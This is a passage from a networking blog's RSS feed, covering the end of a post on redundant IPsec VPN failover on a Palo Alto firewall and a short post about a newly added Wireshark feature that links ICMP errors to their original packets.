<figure id="attachment_13835" aria-describedby="caption-attachment-13835" style="width: 604px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-06-Tunnel-Interface-down.png"><img loading="lazy" decoding="async" class="size-large wp-image-13835" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-06-Tunnel-Interface-down-1024x286.png" alt="" width="604" height="169" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-06-Tunnel-Interface-down-1024x286.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-06-Tunnel-Interface-down-300x84.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-06-Tunnel-Interface-down-768x215.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-06-Tunnel-Interface-down-1536x430.png 1536w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-06-Tunnel-Interface-down.png 1752w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a><figcaption id="caption-attachment-13835" class="wp-caption-text">The tunnel interface is shown as down.</figcaption></figure>
<figure id="attachment_13836" aria-describedby="caption-attachment-13836" style="width: 1000px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-07-RIB-tunnel.11.png"><img loading="lazy" decoding="async" class="size-full wp-image-13836" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-07-RIB-tunnel.11.png" alt="" width="1000" height="625" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-07-RIB-tunnel.11.png 1000w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-07-RIB-tunnel.11-300x188.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-07-RIB-tunnel.11-768x480.png 768w" sizes="auto, (max-width: 1000px) 100vw, 1000px" /></a><figcaption id="caption-attachment-13836" class="wp-caption-text">Resulting in only one working route (through the 2nd VPN) in the RIB,</figcaption></figure>
<figure id="attachment_13837" aria-describedby="caption-attachment-13837" style="width: 1000px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-08-FIB-tunnel.11.png"><img loading="lazy" decoding="async" class="size-full wp-image-13837" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-08-FIB-tunnel.11.png" alt="" width="1000" height="625" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-08-FIB-tunnel.11.png 1000w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-08-FIB-tunnel.11-300x188.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-08-FIB-tunnel.11-768x480.png 768w" sizes="auto, (max-width: 1000px) 100vw, 1000px" /></a><figcaption id="caption-attachment-13837" class="wp-caption-text">as well as in the FIB.</figcaption></figure>
<p>This is how the user experience appeared. Also note the difference in the RTT, decreasing from 15 ms to 9-10 ms, depending on the ISP&#8217;s routing policies.</p>
<figure id="attachment_13838" aria-describedby="caption-attachment-13838" style="width: 604px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-09-Ping-during-failover.png"><img loading="lazy" decoding="async" class="wp-image-13838 size-large" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-09-Ping-during-failover-1024x743.png" alt="" width="604" height="438" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-09-Ping-during-failover-1024x743.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-09-Ping-during-failover-300x218.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-09-Ping-during-failover-768x557.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-09-Ping-during-failover.png 1028w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a><figcaption id="caption-attachment-13838" class="wp-caption-text">Since the ISPs have different routing policies through the Internet, the VPNs have different RTTs.</figcaption></figure>
<p>If the primary tunnel is up again, you&#8217;ll see a &#8220;tunnel-status-up&#8221; in the system log, while the primary route will be in the RIB/FIB again. Of course, on both sides of the VPN-tunnel simultaneously, since otherwise you would have asymmetric routing. Again, there are some pings lost, while the RTT (in my scenario) increased from 10 ms to 15 ms:</p>
<figure id="attachment_13839" aria-describedby="caption-attachment-13839" style="width: 604px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-10-Failover-backwards-System-Logs.png"><img loading="lazy" decoding="async" class="size-large wp-image-13839" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-10-Failover-backwards-System-Logs-1024x311.png" alt="" width="604" height="183" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-10-Failover-backwards-System-Logs-1024x311.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-10-Failover-backwards-System-Logs-300x91.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-10-Failover-backwards-System-Logs-768x233.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-10-Failover-backwards-System-Logs-1536x466.png 1536w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-10-Failover-backwards-System-Logs.png 1752w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a><figcaption id="caption-attachment-13839" class="wp-caption-text">The 1st VPN tunnel is up again, so the monitoring of it.</figcaption></figure>
<figure id="attachment_13840" aria-describedby="caption-attachment-13840" style="width: 604px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-11-Ping-during-backward-failover.png"><img loading="lazy" decoding="async" class="size-large wp-image-13840" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-11-Ping-during-backward-failover-1024x759.png" alt="" width="604" height="448" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-11-Ping-during-backward-failover-1024x759.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-11-Ping-during-backward-failover-300x222.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-11-Ping-during-backward-failover-768x570.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-11-Ping-during-backward-failover.png 1153w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a><figcaption id="caption-attachment-13840" class="wp-caption-text">Connections swap to the primary route back.</figcaption></figure>
<div style="margin-bottom:24px"><a href="https://weberblog.net/packetraven_portable_fiber-kupfer-sfp_ethernet-network-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_1208x.v2023.png 2x, https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_604x.v2023.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Portable_Banner_DE_604x.png" /></a></div>
<p>Final note: While I used the &#8220;Tunnel Monitor&#8221; section within the IPsec tunnels for this failover, <strong>you could also use the &#8220;Path Monitoring&#8221; within the static routes</strong>. It functions almost the same since it pings the other side of the VPN tunnel and only adds the routes in case of a working connection. However, to my mind, it&#8217;s more sound to get the tunnel interface down rather than simply deleting the route. I want this failover decision to be as close as possible to the IPsec tunnel configuration. But that&#8217;s an architectural choice.</p>
<p>Anyway. Happy failovering. ;)</p>
<p>Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@gcalebjones?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Caleb Jones</a> on <a href="https://unsplash.com/photos/man-wearing-gray-t-shirt-standing-on-forest-J3JMyXWQHXU?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/redundant-vpn-with-failover-on-a-palo-ngfw/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">13822</post-id>	</item>
		<item>
		<title>Wireshark Feature Added: Connecting ICMP Errors</title>
		<link>https://weberblog.net/wireshark-feature-added-connecting-icmp-errors/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=wireshark-feature-added-connecting-icmp-errors</link>
					<comments>https://weberblog.net/wireshark-feature-added-connecting-icmp-errors/#comments</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Mon, 29 Sep 2025 15:01:12 +0000</pubDate>
				<category><![CDATA[ICMP/ICMPv6]]></category>
		<category><![CDATA[Wireshark]]></category>
		<category><![CDATA[Feature Request]]></category>
		<category><![CDATA[ICMP]]></category>
		<category><![CDATA[ICMPv6]]></category>
		<category><![CDATA[Update]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=13735</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />It’s really just a small thing, but very practical for me: In Wireshark, a feature request I submitted has been implemented. Now, when you click on an ICMP error, the corresponding (original) packet is highlighted. Previously, clicking on a packet belonging to a flow would show all related packets, including any ICMP errors. However, if &#8230; <a href="https://weberblog.net/wireshark-feature-added-connecting-icmp-errors/" class="more-link">Continue reading <span class="screen-reader-text">Wireshark Feature Added: Connecting ICMP Errors</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>It’s really just a small thing, but very practical for me: In Wireshark, a <a href="https://gitlab.com/wireshark/wireshark/-/issues/18636" target="_blank" rel="noopener">feature request I submitted</a> <a href="https://gitlab.com/wireshark/wireshark/-/merge_requests/19199" target="_blank" rel="noopener">has been implemented</a>. Now, when you <strong>click on an ICMP error, the corresponding (original) packet is highlighted</strong>.</p>
<p>Previously, clicking on a packet belonging to a flow would show all related packets, including any ICMP errors. However, if you selected an ICMP error packet itself, nothing happened. If you had many ICMP errors from different sessions, you had to go through the cumbersome process of figuring out which sessions they actually belonged to.</p>
<p>Now, you can simply scroll through the packet list as usual and immediately see whether related packets are present — and if so, which ones. Very handy.</p>
<p><span id="more-13735"></span></p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpackettiger-network-packet-broker-network-monitoring-switch-data-monitoring-switch" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketTiger_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketTiger_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketTiger_Banner_DE_604x.png" /></a></div>
<p>The following screenshot shows two times the same PCAP, clicked on packet number 21, an ICMP TTL exceeded due to a previously issued traceroute. On the left-hand side with Wireshark version 4.4.8, nothing happens, while on the right-hand side with Wireshark <a href="https://1.na.dl.wireshark.org/automated/win64/" target="_blank" rel="noopener">version 4.5.0rc0</a>, <strong>a line is shown which points to the packet that led to this ICMP error</strong>, namely packet number 5, the start of the traceroute.</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13736" src="https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-1024x552.png" alt="" width="604" height="326" srcset="https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-1024x552.png 1024w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-300x162.png 300w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-768x414.png 768w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-1536x828.png 1536w, https://weberblog.net/wp-content/uploads/2025/08/Wireshark-Feature-Added-Connecting-Line-for-ICMP-Errors-2048x1104.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<div class="su-note"  style="border-color:#69adc8;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><div class="su-note-inner su-u-clearfix su-u-trim" style="background-color:#83c7e2;border-color:#ffffff;color:#333333;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><strong>My thanks go to the Wireshark developers</strong> — in this case, especially <a href="https://gitlab.com/eugene.adell" target="_blank" rel="noopener">Eugène Adell</a> — for tackling a not-so-relevant issue which required some major changes. For me, being a coding noob, this would have been far beyond my capabilities. Many thanks!</div></div>
<p>Again, this proves that you can even <a href="https://weberblog.net/contributing-to-wireshark-without-any-coding-skills/">contribute to Wireshark if you don&#8217;t have any coding skills</a>, such as I.</p>
<p>Soli Deo Gloria!</p>
<p><span class="Kvkr6 Pc_c1 BC51w">Photo by <a href="https://unsplash.com/@iam_anih?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Anika Huizinga</a> on <a href="https://unsplash.com/photos/person-wearing-brown-shoes-standing-on-yellow-line-roadway-during-daytime-J900cHwdS8k?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/wireshark-feature-added-connecting-icmp-errors/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">13735</post-id>	</item>
	</channel>
</rss>
